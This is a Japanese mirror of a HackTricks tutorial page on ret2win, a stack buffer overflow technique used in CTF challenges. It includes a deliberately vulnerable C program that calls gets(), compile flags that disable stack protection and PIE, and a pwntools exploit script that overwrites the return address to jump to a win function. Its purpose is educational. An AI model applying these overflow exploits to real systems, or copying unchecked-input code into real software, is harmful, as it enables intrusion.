mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
8.5 KiB
8.5 KiB
Ret2win
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする
- ハッキングテクニックを共有するには、PRを HackTricks および HackTricks Cloud のGitHubリポジトリに提出してください。
基本情報
Ret2win チャレンジは、特にバイナリエクスプロイテーションを含むタスクで、Capture The Flag (CTF) コンテストで人気のあるカテゴリです。目標は、与えられたバイナリ内の脆弱性を悪用して、通常win
、flag
などと名前が付けられた特定の未呼び出し関数を実行することです。通常、この関数を実行すると、フラグや成功メッセージが表示されます。チャレンジは、通常、スタック上のリターンアドレスを上書きして、実行フローを目的の関数に誘導することを含みます。以下は、例を交えたより詳細な説明です:
Cの例
脆弱性を持つシンプルなCプログラムと、呼び出したいwin
関数があるとします:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
このプログラムをスタック保護を無効にして、ASLRを無効にしてコンパイルするには、次のコマンドを使用できます:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: プログラムを32ビットバイナリとしてコンパイルする(これはオプションですが、CTFチャレンジで一般的です)。-fno-stack-protector
: スタックオーバーフローに対する保護を無効にします。-z execstack
: スタック上でのコードの実行を許可します。-no-pie
: 位置独立実行可能ファイルを無効にして、win
関数のアドレスが変わらないようにします。-o vulnerable
: 出力ファイルの名前をvulnerable
にします。
Pwntoolsを使用したPythonエクスプロイト
エクスプロイトでは、エクスプロイトスクリプトがペイロードを作成してバッファをオーバーフローし、リターンアドレスを win
関数のアドレスで上書きします。
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
アドレスを見つけるためには、gdb、objdump、またはバイナリファイルを調査する他のツールを使用できます。例えば、objdump
を使用して次のようにします:
objdump -d vulnerable | grep win
このコマンドは、win
関数のアセンブリを表示し、その開始アドレスも含まれます。
Pythonスクリプトは、vulnerable_function
によって処理されるときに、注意深く作成されたメッセージを送信し、バッファをオーバーフローさせ、スタック上の戻りアドレスを win
のアドレスで上書きします。vulnerable_function
が戻るときに、main
に戻るか終了する代わりに、win
にジャンプし、メッセージが表示されます。
保護
- PIE は無効にする必要があります。アドレスが実行ごとに信頼性のあるものになるか、関数が格納されるアドレスが常に同じでないため、win 関数がどこにロードされるかを特定するためには何らかのリークが必要になります。オーバーフローを引き起こす関数が
read
などの場合、1または2バイトの部分的な上書きを行うことで、戻りアドレスを win 関数に変更することができます。ASLRの動作により、最後の3つの16進数のニブルはランダム化されないため、正しい戻りアドレスを取得する確率は1/16(1ニブル)です。 - Stack Canaries も無効にする必要があります。さもないと、侵害された EIP 戻りアドレスは決して追跡されません。
他の例と参考文献
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32ビット、ASLRなし
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- ASLR付きの64ビット、バイナリアドレスのリークあり
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64ビット、ASLRなし
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32ビット、ASLRなし、ダブルスモールオーバーフロー、最初はスタックをオーバーフローさせ、次のオーバーフローのサイズを拡大する
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32ビット、relro、キャナリーなし、nx、pieなし、
fflush
のアドレスを win 関数(ret2win)で上書きするためのフォーマット文字列 - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32ビット、nx、その他何もなし、EIP(1バイト)の部分的な上書きで win 関数を呼び出す
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32ビット、nx、その他何もなし、EIP(1バイト)の部分的な上書きで win 関数を呼び出す
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- プログラムは、数値の最後のバイトのみを検証して入力のサイズを確認しているため、許可された範囲内で最後のバイトがあれば、任意のサイズを追加することが可能です。その後、入力は ret2win で悪用されるバッファオーバーフローを作成します。
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64ビット、relro、キャナリーなし、nx、pie。 win 関数(ret2win)を呼び出すための部分的な上書き